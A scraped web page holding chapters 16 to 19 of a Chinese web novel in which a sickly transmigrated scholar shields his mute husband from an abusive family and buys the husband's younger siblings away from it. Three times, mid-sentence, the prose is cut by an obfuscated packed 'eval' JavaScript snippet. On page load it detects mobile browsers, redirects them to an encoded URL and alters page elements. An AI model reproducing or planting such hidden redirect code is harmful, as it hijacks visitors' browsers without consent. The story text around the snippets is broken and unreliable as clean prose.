对于爹爹和小弟的德行,苏青箬比任何人都清楚。 他知道肯定是他穿了新衣服,让他们觉得他现在的日子好了,他们才会突然在这时候上门来。 早知道会把他们引来,他就不应该穿新衣服的。 在他这样想着的时候,陈氏拉着小儿子跟着他出来了。 陈氏不敢对云长歇如何,但是面对苏青箬却是敢的。 他心里憋着火,看着苏青箬穿着新衣服的模样,就忍不住上前去掐苏青箬。 他一边掐一边骂道:“你个不中用的赔钱货,你看看你,都成婚半年了,肚子也没有动静。还有,你也该回门了啊,你现在的身份不同,回门至少提两刀肉吧?” 苏青箬气得不行,一边往后躲一边摆手,示意他不可能回门的,更不可能给他们带肉。 真是的,想得真美。 也不看看他们家什么样,他能嫁给云长歇本来就是三夫人的算计。 云长歇现在能跟他关系缓和,对他来说已经实属不易了。 他觉得做人不能太贪心,当初他出嫁时什么都没有带,还跟云家要了五十两银子,本身就不是什么好看的事情。 如今陈氏想要他回门,想要他带东西回去贴补娘家,那是更加不可能的事情了。 他不想让云长歇讨厌他,也不想被云长歇给休了。 云长歇的身体不好,他更不想云长歇被他们家的人给气到。 陈氏见苏青箬一直摆手,明显是不乐意回门的意思,心里就忍不住更加气了。 不等他这边继续打人,他小儿子苏旺祖就学着他的模样,伸出小脏手往苏青箬身上打。 陈氏打苏青箬,苏青箬不好还手。 但是苏旺祖不一样,苏青箬现在已经嫁人了,可不愿意继续让着他。 这样想着,苏青箬被苏旺祖打急了,就反手推了苏旺祖一下。 苏旺祖愣了一下,随即就开始破口大骂起来。 “你个小贱蹄子,你竟然敢动手打我,看我不扒了你的皮?!” 陈氏也觉得苏青箬该教训,就想要伸手抓住苏青箬让苏旺祖打。 然后就在这个时候,云长歇带着人从院子里出来了。 甜桑看到有人打他们家主夫,顿时一边往外奔一边喊道:“放肆,你们敢动我们家主夫,就不怕去官府吃板子吗?” 云长歇没有立刻跟出来,是为了等甜桑跟他一起出来。 他是男子,还是个读书人。 若是闹起来了,他不好跟陈氏个夫郎动手。 还有就是他身体不好,万一拉扯之间摔倒了,最后吃苦的人还是他。 再加上陈氏这人不要脸,万一把他给逼急了,他来个云长歇占他便宜什么的。 额,到时候就算大家觉得不可能,也会对云长歇名声有一些影响,所以还是带个哥儿出来比较好。 甜桑上前把苏青箬解救了出来,就把苏青箬送到了云长歇身边。 云长歇见状隔着衣袖,轻轻握了握苏青箬的手腕。 明明隔着一层布料呢,苏青箬却觉得今天的云长歇手心有点烫人。 “抱歉,我出来晚了,让你受伤了。” 苏青箬闻言摇了摇头,他没有受伤。 他从小到大,经常被陈氏这样掐,有的时候苏旺祖也掐他,他早就习以为常了。 相较于他,他反而有点担心甜桑。 陈氏是农夫,力气比甜桑大很多,万一真的动起手来,甜桑不见得能打得过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369344|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 看出了苏青箬的担心,云长歇对他说道:“不要怕,他若是真的敢动手,那我就把他送去见官。” 刚好,他许久没有见他那位便宜父亲了,也不知道对方现在还记得他不? 听到云长歇要把他送官,陈氏顿时没有了之前的嚣张,他皮笑肉不笑的说道:“哎呦,误会,误会。他是我亲生的哥儿,我怎么舍得打他呢。我就是觉得他不孝顺,成婚半年也不知道回家,才忍不住开口教训教训他。” 苏青箬不会说话,自然是陈氏说什么就是什么,以前遇见这样的情况,苏青箬就只能这样的憋屈。 然而,今时非同往日,云长歇明显不愿意让他吃这个“哑巴亏”。 “教训?如今他已嫁我为夫郎,都说夫夫两人形同一体,你教训他,就等同教训我,你是打算连我一起教训了?” “不敢,不敢,你是官老爷的公子,我哪里敢教训你啊?” “可是你嘴上说着不敢,却敢登门对我夫郎又打又骂,陈氏,你的胆子是真的大啊。” 见云长歇不好糊弄,陈氏怨恨的瞪了苏青箬一眼,便微微弯腰开始跟他们道歉。 长辈的礼,苏青箬身为晚辈是不能受的,不然会折寿。 云长歇把苏青箬拉到身后,他的身体不好,再差也不会差到哪里去,他倒是不害怕被对方拜。 再加上,原主是个童生,被对方拜一下也不算什么。 陈氏:“今天这事是我们不对,我们保证以后绝对不敢了,还请……云公子,云夫郎不要责怪。” 云长歇:“你们家这门亲戚我不会认的,所以以后不要再出现在我面前。更不要再出现打骂我夫郎的事情,不然我们就去公堂上评评理去。” 陈氏面色铁青,心里也恨得不行。 但是他不敢闹,云长歇就算是个不受宠的庶子,在县太爷眼里也要比他亲近。 再加上,今天的事情云长歇根本没有错,他只是为了维护他的夫郎而已。 反倒是他们,卖自己孩子不说,第一次上门还打人。哪怕他打的是自己孩子,如今孩子已经嫁到云家,他也不能说打就随便打的。 陈氏咬了咬牙说道:“知道了,以后我们不会再来了就是。” 云长歇闻言心里不大满意。 其实以他的性格,他想要以牙还牙的。他们打了苏青箬,苏青箬就打回去。 但是古代以孝为天,苏青箬若是真的打了陈氏,估计会被村里人戳断脊梁骨。 还有就是,云长歇是读书人,家里还有个当官的父亲,他不好当众做得太过分。 所以云长歇看向苏旺祖,让苏旺祖跟苏青箬道了歉,这才终于放他们离开了。 等到他们走了,云长歇让梁婶给苏青箬检查身体。苏青箬不会说话,也不知道有没有哪里伤到了。 梁婶检查完从房里出来后,就忍不住气愤的说道:“公子,这苏家人可不是什么好东西,我刚刚看了主夫身上的情况,他的身上不仅有很多新指甲印,还有很多以前旧的抓痕和挠痕。很明显,苏家那边虐待过他,真是个可怜的孩子。他也不会说话,被打估计都没人知道。” “嗯,我知道了。” 梁婶见云长歇没有太大反应,就忍不住开口给云长歇出主意。 “不然……我们还是想个办法,让他与苏家断了亲吧。” 云长歇闻言微微摇了摇头,如今苏青箬还不能立刻断亲。 因为苏家还有苏青箬的弟弟妹妹,若是让苏青箬现在彻底与苏家断亲,苏青箬就不好管他的弟弟妹妹了。 想到苏家人做的那些恶,还有苏青箬弟弟妹妹受的苦。 他必须想一个合适的办法,让苏青箬的弟弟妹妹也摆脱掉那家人。 只有让他的弟弟妹妹得到好的安置,苏青箬才能放心的与苏家那边断亲,云长歇才能方便对苏家人出手。 “梁婶不要担心,我自有我的打算,一定不会让夫郎白白受委屈的。” 17.第 17 章 因为被云长歇吓唬了一顿,苏家那边没敢再往苏青箬面前凑。 不过他们不敢过来,苏青箬倒是偷偷回去过一次。 他不是担心被吓的陈氏,而是担心家里的二妹他们。 他太了解这个爹爹了,陈氏在他这边没有讨到好,还被云长歇给吓唬一顿,心里肯定是憋了火气的。 他这个人不会委屈自己,又没有办法找苏青箬算账,肯定会把火气撒在二妹三人身上。 二妹还好,陈氏估计不敢打她,怕被徐大夫家里知道。 苏青箬二妹,今年冬天就要嫁到徐大夫家了。 徐大夫就一个儿子,名叫徐锦漾。 徐锦漾与二妹苏苜蓿一起长大,两个人的感情一直很不错。 之前有一次,苏老三在家里发疯,逮着苏苜蓿就是一顿毒打。就是路过的徐锦漾,冲到苏家把人救下的。 徐锦漾当时怒急了,指着苏老三的鼻子骂道:“苏老三,若是再让我看见你动她,我徐锦漾就算会被砍脑袋,也要把你苏老三给宰了。” 徐锦漾这个人,名字取的文气,人却带了股狠劲。与他那个文弱的大夫父亲,可以说是完全的两类人。 据徐锦漾自己说,他的脾气像他那个早逝的母亲。他的母亲是个赛外人,那边的人比较彪悍,就连姑娘也带股匪气。 陈氏估计不敢动苏苜蓿,但是除了苏苜蓿家里还有两个受气包,那就是年纪更小的三弟与四妹了。 一想到他们有可能因为他被陈氏打骂,苏青箬的心里就忍不住一阵担心。 苏青箬并不怪云长歇吓唬陈氏,他不是个不明是非的人。他知道云长歇只是想保护他,他不能因为陈氏这个人不讲道理,就把问题怪罪到对他好的人身上。 他只怪自己弱小无能,只怪陈氏的偏心恶毒,只怪生在了这种家里。 苏青箬偷偷回去那一趟,就发现三弟与四妹真的挨打了。 不过好在,陈氏还需要他们干活,倒是没有把人打得太狠。 苏青箬偷偷给了他们两颗鸡蛋,让他们吃点鸡蛋好好补补身体。 他那个傻三弟,知道苏青箬为什么给他鸡蛋后,还一脸傻气的对苏青箬说道:“大哥,大哥,挨打不疼的,若是为了大哥挨打能够有鸡蛋吃,弟弟觉得挨打都变成了幸福的事。” 苏青箬闻言眼睛一酸,差一点没忍住哭出来。 真是……真是个傻孩子。 他连什么是幸福的事情都不知道,竟然觉得挨打能吃鸡蛋就是幸福? 想到他现在过得好日子,再看看依旧在家里受苦的弟弟妹妹,他的心里就忍不住觉得十分沉重。 苏青箬回去之后,心情一直很低落,还偷偷抹过眼泪。 云长歇看着他的模样,没有办法装作不知道,便把人叫进房里聊聊。 说是聊聊,实际上大多数都是他在说,苏青箬偶尔在纸上写几个字。 “你弟弟妹妹出事了?” 苏青箬闻言摇了摇头。 “那你哭什么?” 苏青箬不知道如何解释他现在的心情,这一刻的他突然很想很想能够说话,就能把心里的委屈和无助全部说出来。 云长歇见他久久没有反应,便开始自己慢慢猜测起来。 “是不是……你父亲或者爹爹又欺负你弟弟妹妹了?” 除了这件事情,他实在是猜不出能有什么事情让苏青箬伤心的。 苏青箬抿着嘴唇,好半天才点了点头。 “本来我身为个外人,不好评价你的双亲。但是……我们名义上好歹是夫夫,对你的事情我还是要关心一二的。你觉得你的双亲如何,你的幺弟又如何?” 苏青箬拿起笔,皱起眉头在纸上写下两个字。 一个“坏”字,一个“怕”字。 两个字都是用来形容,他对他的双亲与幺弟的看法。 他们都坏,他在害怕他们。 苏青箬写完,似乎觉得有点难为情。 一方面觉得家人让他觉得丢人,害怕云长歇会因此看不起他;另一方面他觉得他太懦弱了,面对那样的家人完全没有办法。 云长歇却没有嫌弃他,而是盯着他写得两个字微微出神。 “自从那天他们来过,我让甜桑去村里打听过你们家,我对你们家其实有一些了解。” 说到这里云长歇顿了顿,特意喝了一口水才继续说。 云长歇并不是个喜欢说话的人,以前在观里他能一天不说一句话。 如今穿到了原主的身上,面对苏青箬这个小哑巴,他就变得必须多话起来。 不然他不开口说话,苏青箬是个小哑巴,他们相处时会十分尴尬。 “你二妹很快就要嫁人了,你应该不怎么担心她。她夫家那边也很强势,她以后应该没有大问题。如今让你十分忧心的,应该是你的三弟与四妹。这几日我认真的想了想,他们现在的年纪还很小,你双亲想要用他们换聘礼,估计还需要等个四五年。 我就想着……不如我让梁婶出面,花钱把他们买到家里来。这样一来虽然会沦为奴籍,但是却不用担心再被欺负了。刚好家里也需要奴仆,让你的弟弟妹妹来伺候你,你这个主子也不会苛待他们,他们应该就能安稳的长大了。 听完云长歇的想法,苏青箬一双眼睛微微的睁大,双唇也忍不住微微颤抖起来。 此时的他的心里又欢喜又震惊,欢喜的是,如果真的如同云长歇说的那样,那,那他岂不是可以带着弟弟妹妹走。 以后没有人能再欺负他们,他就是他们的主人,他不会苛待他们。他们可以吃饱饭,穿上暖和的衣服,不用再被家里人打骂? 让苏青箬震惊的是,云长歇说弟弟妹妹跟着他,应该就能够安稳的长大了。 难不成……云长歇觉得,弟弟妹妹在苏家会……会长不大吗? 苏青箬并没有因为云长歇的这些话,就怀疑云长歇是穿越的或者知道什么。 他是个普通的古代乡下小哥儿,他的见识与现代人完全不同,他的脑子里根本没有穿越这些东西的概念。 他觉得云长歇会这样说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371674|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应该是云长歇比较聪明,看得出来他弟弟妹妹的处境很艰难,便猜测他弟弟妹妹继续留在家里,很有可能没有办法安稳的长大。 苏青箬听了云长歇的话,才发现他的弟弟妹妹确实长得比同龄人小很多。 他自己安稳长大了,他就以为弟弟妹妹也能跟他一样长大。 但是那个时候,他只是被苏老三与陈氏打骂。 如今随着幺弟长大了,弟弟妹妹面临的不仅仅是双亲的打骂,还有完全不把他们当成人的幺弟。 如果加上幺弟,年幼的三弟与四妹,确实有可能长不大。 一想到这里,苏青箬眼泪就像是断了珠子一样往下掉。 他有点激动的抓住云长歇的手,还好,还好,现在还来得及,只要云长歇的计划能够成功,他就能够把弟弟妹妹救出来。 因为激动他忘了自己不能说话这一点,他啊啊啊的向着云长歇表达他的着急,还是云长歇提醒他,他才想起来应该写下来。 于是接下来,苏青箬笨拙的一边写一边掉眼泪。 他现在会写的字不多,能够表达的内容也少。 不过好在云长歇聪明又有耐心,他连猜带蒙的还是明白了他想要表达什么。 云长歇拿出帕子,轻轻给他擦了擦脸上的泪痕。 “别怕,现在还来得及,我们可以慢慢来。” 买人,并不是一个好计策。 云长歇身为一个现代人,是十分深恶痛绝人口买卖的。 但是现在的情况不一样,现在他生活在封建社会。如今他面临的问题是,如果他不想办法把苏青箬弟弟妹妹买回来,苏青箬的三弟四妹会被苏旺祖卖了。 既然早晚都要被卖,云长歇觉得不如卖给他与苏青箬。苏青箬是那两个孩子的亲哥哥,自然不会亏待自己的弟弟妹妹。 如果是被苏旺祖卖了,苏青箬三弟与四妹都会长不大。 苏青箬的四妹嫁给那个泼皮没多久,就被泼皮带着去镇子上伺候男人。 是的,没有错。 有一些男人有绿帽癖,特别喜欢看自己媳妇跟别的男人上床,据说会让他们觉得特别变态特别爽。 还有一些男人自己没本事,就逼迫自己媳妇my,通过当绿毛龟赚钱。 泼皮是后者,他自己逼迫妻子去镇上my,然后赚到钱后还打自己妻子,辱骂对方是个不要脸的骚货。 最后苏青箬四妹忍受不了,就在一个大雨的夜里投河了。 她死的时候,还没有十八岁。 放在现代,确实没有长大成人。 苏青箬三弟也差不多,他在十八的时候人就没有了,死的时候也是个半大孩子。 在这样的情况下,没时间计较其他了。 沦为奴籍就奴籍吧,沦为奴籍至少人能够安稳的活着。 像是梁婶,甜桑他们也是奴籍。因为是大户人家的奴仆,实际上比很多村里人都过得好。 云长歇不是坏人,还有个苏青箬在旁边,苏青箬弟弟妹妹过来,对他们来说不是坏事。 18.第 18 章 之后云长歇就与梁婶,一起去了苏家一趟。 这还是云长歇第一次来苏家,他看了看瘦的皮包骨的三弟与四妹,又看了看养得白白胖胖的苏旺祖,对于苏家的厌恶就更深一层了。 云长歇过来的时候,苏老三与陈氏都没有在家。 苏二妹也就是苏苜蓿,她见云长歇来他们家里有事,就去田里寻苏老三他们去了。 经过上一次的接触,苏旺祖心里有点害怕云长歇。他也不明白为什么怕他,明明这个大哥夫看起来病歪歪的,但是每一次他对上对方的眼睛,他就觉得自己身上凉飕飕的。 云长歇不跟苏旺祖说话,苏旺祖也不跟他说话。两个人在一个院子里,却完全不看对方一眼。 苏家三弟,叫苏艾草,今年十三岁。 苏家四妹,叫苏山樆,今年十岁。 苏家前面四个孩子,名字都跟植物有关。 只有苏旺祖的名字,稍微的有一些不同。 云长歇招呼艾草与山樆过来,他微微俯身看着他们问道:“你们想不想以后跟着大哥去云家?” 艾草闻言愣了一下,立刻开心的点了点头。 “想,我们可以跟着大哥和大哥夫走吗?” 不等云长歇回答,一直没有说话的苏旺祖就出声道:“不可能,我父亲还要用他们换钱呢,就算你是官老爷家的公子,也不可能把他们给带走。” 云长歇转眸看向苏旺祖,语气里带着嘲讽道:“你们打算用他们换多少钱?” 想到大哥换了五十两,苏旺祖仰着头说道:“至少……至少一百两吧!” 梁婶听到这话,忍不住笑了起来。 “一百两银子你知道是多少钱吗?小小年纪的人,胆子倒是不小啊。就不怕一百两银子,吃下去了把自己噎死。” 苏旺祖不明白梁婶话里的意思,还以为梁婶这是在诅咒他死,他气得不行,指着梁婶骂道:“你一个老奴才,怎么跟我说话呢?我怎么说也是你家公子的小舅子,你这个老……” 不等苏旺祖继续耍威风,陈氏与苏老三就回来了,陈氏一听到他说这种话,连忙大声打断了他的话。 “哎呦我的小祖宗啊,你就不要给家里添乱了。” 陈氏这样说着,就连哄带拖的把苏旺祖送进了屋里。 等到苏旺祖走了,云长歇这才说起了他们过来的目的。 一听到云长歇愿意把两个赔钱货买走,苏老三的一双眼睛就忍不住一亮。 他想着当初苏青箬是五十两卖的,就算老三与老四年纪小不值钱,怎么说也应该能卖个五六十两吧? 于是苏老三搓了搓手,笑眯眯的对云长歇说:“那……云公子打算花多少钱买啊?不管是老三还是老四,在家里都是很勤快的。你如今要把他们都买了,我们家就没有劳动力了。我儿子年纪还小还需要个人伺候,我打心里是不舍得卖了他们的。” 这人是连装都不装了,不过这样也好。 当着他几个孩子的面,让他们看清楚他的嘴脸。以后也省的把他们养大了,他们再傻乎乎自己回来送死。 苏苜蓿不清楚现在是什么状况,她小心翼翼看了看云长歇那边,又看了看笑得不见眼睛的父亲,有点心慌的偷偷溜出了家门。 她还没有转过弯来,本来想要去找大哥问问情况。结果才刚刚出了家门,她就遇见了徐锦漾。 徐锦漾见她魂不守舍的,就担心的凑过来询问她怎么了? 苏苜蓿心里没有底,就把家里的事情跟他说了。她觉得徐锦漾比她聪明,应该想得比她全面一点。 徐锦漾闻言想了想,便笑着宽慰她道:“你那个大哥夫,我之前见过一次,看起来人还不错的,没有传言中那样不好相处。他要买下你弟弟妹妹,应该是你大哥的意思。你也知道你父亲跟你爹爹的德行,你大哥估计是害怕你嫁出去之后,下面两个小的就没人照应了,到时候他们在家里会出事。” 如今三弟四妹没有出事,确实有苏苜蓿照应的关系。 苏苜蓿身后有徐锦漾,在她还没有嫁去徐家之前,她还有些余力照应家里。 等到她嫁人了,有了自己的孩子,就没有那么多时间与精力关心家里了。 “可是……那样岂不是就沦为奴籍了?” “奴籍又如何,至少不会挨饿挨打。成了云家的奴仆,不见得就是坏事,有你大哥守着,说不定……比在你们家的日子还好呢。” “可是,我大哥与大哥夫以前感情不好,成婚半载一直都没有同房过。如今两个人的感情好不容易好一点,大哥夫又要为了我家里的烂事操心,我有点担心以后他们感情会出问题。” 徐锦漾偷偷拉了拉她的手,然后轻声安慰她道:“你别怕,我以后努力赚钱。就算……就算他们感情不好和离了,只要我们这边有钱有了底气,大哥他们还能来依靠我们。” 苏苜蓿闻言眼圈一红,“还好有你,不然我都不知道要如何。” 她从小到大,确实受过徐锦漾不少恩情。 他救过她,还会经常偷偷给她带吃的。 如果没有他,她估计都很难长大。 苏苜蓿出去一趟,回来就安心很多。 他们回来的时候,苏老三正在跟梁婶讨价还价。 苏老三一开始想要卖五六十两银子的,后来被云长歇用话讥讽了一通,他就稍微的清醒了一点。 也对,苏青箬当初能卖价那样高,主要是因为三夫人想算计云长歇。 在他们乡下,不管是卖孩子为奴,还是嫁人要的聘礼,都在五六两银子。 他要价太高了,云长歇一恼说不定就不买了。 但是他又不乐意,以五六两银子卖了。 在他看来,云长歇会来买他家老三老四,肯定是老大特意求过他的,不然云长歇也不会亲自过来。 那么他们这边,稍微的提点价格,也不是什么大事。 苏老三:“一个十五吊钱,不能再低了。” 梁婶:“你家孩子还小,买回去干不了多少活。就是一个成年的壮劳力,一个人也才五吊钱呢,苏老三你不要太过分了。” 苏老三:“那就……一个十吊钱,这次真的不能再少了。” 十吊钱,梁婶也觉得太高了。 但是云长歇急着把他们给带走,梁婶看云长歇的意思是同意的。 钱是小事,人好好带走才是大事。 没有钱,云长歇有很多办法再赚钱。 如果人没了,不管是苏青箬还是云长歇心里都会是个遗憾。 他不想让苏青箬以后活在遗憾里,所以在他看来钱不如人重要。 就在梁婶这边打算点头的时候,那边陈氏突然把苏老三拉到一边。 陈氏压低声音对苏老三道:“别啊,不能全部卖了。马上老二就要嫁人了,若是把老三老四都卖了,到时候谁来伺候我们和幺儿啊?” 苏老三闻言瞥了他一眼,“人重要还是钱重要?没有老三和老四,不是还有你吗?” 陈氏听到对方的话,忍不住心里一苦,“我,我要下地干活,还要洗衣做饭,我是会累死的。你也不想,幺儿小小年纪,就没有爹爹吧?” 苏老三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381855|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想也是,若是都卖了,家里就没有人陪幺儿玩了。 幺儿年纪小,正是爱玩爱闹的时候。 他与陈氏每天很忙,不可能天天看着他的。万一他不懂事出了事,到时他们就后悔莫及了。 这样想着,苏老三回去之后,就突然改变了态度。 “云公子啊,我们家不能把孩子都卖了,不然会被村里人笑话的。这样吧,我们可以把最小的老四卖给你,老四的年纪小我们不跟你要太多,就……十吊钱好了。” 一听到自己要留下来,艾草忍不住害怕的不行。 如今大哥嫁人了,冬天二姐也要嫁人。 若是四妹也走了,家里就剩他一个受气包了。 他突然觉得很害怕,他看了看苏老三与陈氏,又看了看趴在门缝正在往外面偷看的小弟。 以前哥哥姐姐都在身边,因为事事有他们相依为命,他并没有觉得日子多难熬。 哥哥会给他们藏吃的,姐姐会抱着他们哄他们睡觉。 妹妹年纪小,但是妹妹很可爱,也会陪着他一起玩闹。 但是……如果大家都走了,艾草就忍不住觉得天塌了。 他害怕的开始掉眼泪,一旁的妹妹山樆见状,忍不住抱着他也哭了起来。 她年纪小,什么都不大懂。 她想要去找大哥,但是又不舍得三哥。 她想要三哥跟她一起走,可是她人小言轻,大人们不会听她的。 此时看到三哥哭了,山樆忍不住就跟着哭了起来。 陈氏见他们这个时候哭,就抬手一个人给了一巴掌。 “哭什么哭,晦气死了。没看见贵人在这里吗,一个个就只会哭。” 苏老三没有在意两个孩子那边,他此时还搓着手看着云长歇。 “云公子怎么样啊,我这个价格真的很实在了,云公子你可要想清楚了。我们家现在没有劳动力,我不卖孩子的话,还能多个劳动力呢。” 苏老三一脸吃大亏的模样,云长歇见状忍不住想要干呕。 什么叫怕被村里人笑话,实际上算盘打得啪啪响。 把年纪最小的老四卖了,留下半大的老三可以干活,还能帮助他们照顾幺儿。 真是好算计。 云长歇垂眸看向苏老三,像是在看待死人一样。“两个人我都要,一起二十五两银子。你若是不想一起卖,那我就全部都不要了。我知道你看出来了,我现在特别想带他们走,你才敢跟我在这里讨价还价。但是……苏老三,你能够配合一点,还能换二十五两银子。你若是不愿意配合,我自有其他的办法,让你死了再把他们带走。” 苏老三脸色变得很难看,他看出来云长歇不像是在说笑。 云长歇说给二十五两,比他们之前谈的价格还高五两。他还说要买两个都要买走,不然他就一个也不要了。 是要二十五两银子,还是要把云长歇得罪死了,只要不傻都知道怎么选。所以他没有管陈氏那边还想要说什么,就一脸着急忙慌的同意了。 之后梁婶把村长请了过来,在村长的见证下签了卖身契。 看着云长歇把两个孩子领走,陈氏就忍不住觉得背脊一阵发凉,他恼恨的伸手推了苏老三一把。 陈氏骂道:“你想钱想疯了啊,把所有孩子都卖了,以后谁来照顾幺儿?” 苏老三抱着怀里的银子,看都不看他一眼说道:“你啊,你又没有死,你来照顾他啊。” “那地里呢?” “地里不是还有我吗?实在是不行,我们可以请长工,反正不会饿死的。” 19.第 19 章 不等云长歇带着两个孩子回到家里,苏青箬就听闻消息跑出来接他们了。 此时的苏青箬十分开心,走路的速度都比平常快很多。跟在他身后的甜桑,被他的开心感染了,也忍不住加快了脚步。 甜桑一边小跑着,一边开心的说道:“主夫,主夫,太好了,以后弟弟妹妹过来了,你就不用总是担心他们了。” 苏青箬点了点头,等到看到云长歇他们的身影后,他没有急着去看两个弟弟妹妹,而是突然激动的朝云长歇扑了过去。 一旁的梁婶吓了一跳,生怕他这一扑把公子给扑倒了。 好在,苏青箬激动是激动,却还是知道分寸的。 他还记得,云长歇的身体不好,他不能把他给扑倒了。 云长歇本来心情并不好的,他不是在心疼那二十五两银子,而是被苏家那对夫夫恶心到了。 如今看到苏青箬这样开心,他一边伸手接住了苏青箬,一边忍不住也跟着笑了起来。 罢了,何必为了那些垃圾生气,他现在应该觉得开心才对。 云长歇把人抱住,他并没有介意苏青箬的不稳重。 他是现代人,没有古代那么多的讲究。 他们道家,讲究的也是个随心所欲。 相较于那些,被规训成了木偶一样的姑娘与哥儿,他还是更喜欢苏青箬这样的性格。 苏青箬激动之后,又有点不好意思。 他眨了眨大眼睛,见路过的人正在对他们指指点点,就连忙红着脸松开了云长歇。 他往旁边挪了挪,然后看向了旁边的弟弟妹妹。 苏青箬抬了抬手,弟弟妹妹就像小鸡仔一样围到他身边来。 送弟弟妹妹过来的苏苜蓿,一边忍不住替弟弟妹妹开心,一边又有点羡慕弟弟妹妹。 如果她还小,她不嫁人,是不是……也可以跟着大哥走? 但是很快她就摇了摇头,不行,不行,她若是不嫁人,徐锦漾该怎么办? 一行人很快回到小院,云长歇就回房休息去了。 他的身体还是太弱了,去苏家一趟他也没做什么,回来就觉得身上特别累。 甜桑把他送回了房里,等到他歇下了才出来。 之后梁婶与甜桑开始做饭,留下苏家几个孩子在院子里说话。 如今三弟,四妹被苏青箬带走了,以后家里就只有苏苜蓿了。 虽然知道苏苜蓿快要嫁人了,但是家里就只有她一个人,苏青箬还是忍不住有点担心。 苏青箬拉住苏苜蓿的手,苏苜蓿知道他在担心什么,便笑着对苏青箬说道:“我不会有事的,我跟徐家大哥的婚事已经定下,他们就算想要反悔也没办法。徐家不是那么好欺负的人家,他们没有那个胆子敢乱来。” 苏青箬心里知道,父亲爹爹都是欺软怕硬的性格,在苏苜蓿马上就要嫁人的情况,他们没有那个胆子对她做什么。 但是……他想到幺弟苏旺祖,不知道为什么,苏旺祖那么小,才八岁而已,却给他一种很不好的感觉。 苏旺祖从小耳濡目染,学着父亲与爹爹打骂他们,他的脑子与寻常人不一样,他有点担心苏旺祖会乱来。 苏青箬想了想,伸出了五根手指。 五指的是小五,也就是他们家的幺弟。 他让苏苜蓿一定要小心他,不要因为他是个孩子就放松警惕。 说来也是好笑,明明苏旺祖应该是他们最亲近之人,却……成了他们最害怕最防备的人。 苏苜蓿见状笑了笑,“好的,我知道了,我一定会小心的。” 苏旺祖就是个孩子,她打不过父亲与爹爹,却能打得过苏旺祖的。 苏苜蓿没有在这里多待,安顿好了弟弟妹妹后,她就离开了云家小院。 中午饭,云长歇没有起来吃。 苏青箬吃饭的时候,一直很担心他的情况。 但是这是弟弟妹妹第一次来这边,他们看着丰盛的午饭不敢动筷,这时候他也不好丢下他们不管。 苏青箬见他们不敢动,只好亲自给他们夹菜。 如今不在县城云家,这个小院没有太多下人,云长歇就没有那么大的规矩,平日里大家都是一起用饭的。 两个小的初来乍到,他们瘦瘦小小的,人也长得灰扑扑,抱着瓷白的碗都担心他们的脏手会把碗弄脏。 看到大哥亲自给他们夹菜,他们这才小心扒拉起了自己碗里的米饭。 饭,是大米饭。 很香,配上炒鸡蛋,简直是人间美味。 以前他们在家里的时候,因为主要劳动力不是他们。 饭这种东西,一般先紧着苏老三,苏旺祖与陈氏他们吃。 等到他们吃好了,剩下的一些汤汤水水的,才能轮到他们这些赔钱货吃。 突然吃到实实在在的饭,艾草一不小心就吃撑了。 是的,其实他也没有吃太多,就是以前肠胃经常饿着,突然稍微吃饱了点,他的肠胃就受不了了。 因为没有吃坏肚子,就只是吃撑了而已,苏青箬就没有找大夫,而是抱着艾草给他揉肚子。 然后就是这个时候,云长歇终于从房里出来了。 云长歇在房里喝了几口放了灵泉水的温开水,后来他发现杯子里的水还剩下很多,就想要把剩下的水倒给家里的马喝。 他从苏青箬身边路过,得知艾草不小心吃撑了,他看了看手里杯子的水。 本来他想要给艾草喝的,后来才想起来艾草也是个哥儿。 他喝过的水,再给人家小哥儿喝,好像哪里怪怪的? 所以云长歇犹豫一下,还是把水倒给了马喝。 他家这匹马身上有一点小毛病,刚买回来时他就给它喝了灵泉水,如今马的身体明显已经好了很多。 喂完马,云长歇慢悠悠准备回房。 福旺见状立刻跟上他,它闻见灵泉的香气了,便眼巴巴跟了过去。 云长歇看到他的时候,眼底闪过了一抹无奈。 这狗子简直成精了,只要他一偷喝灵泉,它就立刻凑了上来。 因为福旺偷吃了养颜丹,还跟着他喝了很多灵泉水,整只狗最近养的油光水滑的。 云长歇从怀里掏出装灵泉的小玉瓶,福旺立刻把它的水碗给叼了过来。 云长歇给它滴了一滴灵泉水,剩下的倒进一个干净的新水杯里,打算端出去给苏青箬的弟弟妹妹喝。 福旺见状眼底满是怨念,它觉得主人似乎不爱它了。 它眼巴巴的跟过来,主人就只给它一滴灵泉水,却给那两个新来的四五滴。 云长歇看出来它的不满,小声的跟它解释道:“你身体本身就好,喝多了这个,会让你长得太快。别人不知道你成精了,看到你一只狗长得太快,会觉得你这只狗不正常。” 福旺最近确实长得很快,完全不像是正常狗的生长速度。 长得太快了,就会显得很奇怪,容易招惹来别人的注意。 福旺嗷呜了一声,就把水碗里看不见的灵泉水舔干净了。 